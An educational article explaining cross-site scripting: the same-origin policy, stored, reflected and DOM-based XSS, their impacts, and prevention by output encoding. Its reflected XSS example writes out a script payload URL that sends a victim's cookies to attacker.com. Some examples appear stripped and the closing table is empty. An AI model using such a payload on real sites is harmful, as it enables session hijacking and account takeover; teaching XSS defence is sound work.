The Cross-Site Scripting vulnerability is one of the few vulnerabilities that has made it in every OWASP Top 10 list of most critical web application security risks released.
To understand the Cross-site Scripting vulnerability you have to first understand the basic concept of the Same Origin Policy (SOP), which forbids a web application to retrieve content from pages with another origin. By forbidding access to cross-origin content random websites cannot not read or modify data from your Facebook page or PayPal account while logged in to them.
SOP is one of the most important security principles in every web browser. For example the page
https://example.com/index.html can access content from
https://attacker.com/index.html cannot access content from
The Cross-site Scripting (XSS) Vulnerability
Cross-site Scripting, also known as XSS, is a way of bypassing the SOP concept in a vulnerable web application. Whenever HTML code is generated dynamically, and the user input is not sanitized and is reflected on the page an attacker could insert his own HTML code. The web browser will still show the user's code since it pertains to the website where it is injected.
Different Types of Cross-Site Scripting Vulnerability
There are mainly three different types of Cross-site Scripting vulnerability; Stored, Reflected and DOM XSS. Below you can find a detailed technical explanation of each of them.
Stored Cross-site Scripting Vulnerability
Stored Cross-site scripting vulnerabilities happens when the payload is saved, for example in a database and then is executed when a user opens the page on the web application. Stored cross-site scripting is very dangerous for a number of reasons:
- The payload is not visible for the browser's XSS filter
- Users might accidentally trigger the payload if they visit the affected page, while a crafted url or specific form inputs would be required for exploiting reflected XSS.
Example of a Stored XSS
A stored XSS vulnerability can happen if the username of an online message board is not properly sanitized when it is printed on the page. In such case an attacker can insert malicious code when registering a new user on the form. When the username is reflected on the message board page, it will look like this:
Registered since: 2016
Reflected Cross-site Scripting (XSS) Vulnerability
A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored, thus allowing the attacker to inject malicious content. This means that an attacker has to send a crafted malicious URL or post form to the victim to insert the payload, and the victim should click the link. This kind of payload is also generally being caught by built-in XSS filters in user's browsers, like Chrome, Internet Explorer or Edge.
Example of a Reflected XSS
As an example of XSS attacks we will use a search functionality on a news website, which works by appending the user's input, which is taken from the GET HTTP request, to the q parameter, as per the example below:
In the search results the website reflects the content of the query that the user searched for, such as:
You searched for "data breach":
If the Search functionality is vulnerable to a reflected cross-site scripting vulnerability, the attacker can send the victim a malicious URL such as the below:
https://example.com/news?q=<script>document.location='https://attacker.com/log.php?c=' + encodeURIComponent(document.cookie)</script>
Once the victim clicks on the malicious URL, the XSS attack is executed and the website displays the following:
You searched for "<script>document.location='https://attacker.com/log.php?c=' + document.cookie</script>":
The HTML source code, which is reflecting the attacker's malicious code redirects the victim's browser to a website that is controlled by the attacker, which then steals the user's current session cookies / session tokens from the victim's browser for the site
example.com as GET parameter.
DOM Based Cross-Site Scripting Vulnerability
The DOM Based XSS vulnerability happens in the DOM (Document Object Model) instead of part of the HTML. Read DOM Based Cross-site Scripting (XSS) vulnerability for a detailed explanation of DOM XSS.
Impacts of the Cross-site Scripting Vulnerability
The impact of an exploited XSS vulnerability on a web application varies a lot. It ranges from user's Session Hijacking, and if used in conjunction with a social engineering attack it can also lead to disclosure of sensitive data, CSRF attacks and other security vulnerabilities. By exploiting a cross-site scripting vulnerability an attacker can impersonate the victim and take over the account. If the victim has administrative rights it might even lead to code execution on the server, depending on the application and the privileges of the account. Read about the apache.org jira incident for more information on how a XSS vulnerability was used in a successful attack which also led to code execution.
Preventing XSS Vulnerabilities
Even though most modern web browsers have an inbuilt XSS filter they should not be seen as an alternative to sanitization. They cannot catch all kinds of cross-site scripting attacks and are not strict so not to lead to false positives, which would prevent some pages from loading correctly. A web browser's XSS filter should only be a "second line of defense" and the idea is to minimise the impact of existing vulnerabilities.
Developers should not use blacklists as there is a variety of bypasses for them. Another thing they should avoid using is the stripping of dangerous functions and characters as the browsers' XSS filters can't recognize the dangerous payloads when the output is tampered with allowing for possible bypasses. That being said, the only recommended prevention of XSS is encoding as mentioned above.
Vulnerability Classification and Severity Table
|Classification||ID / Severity|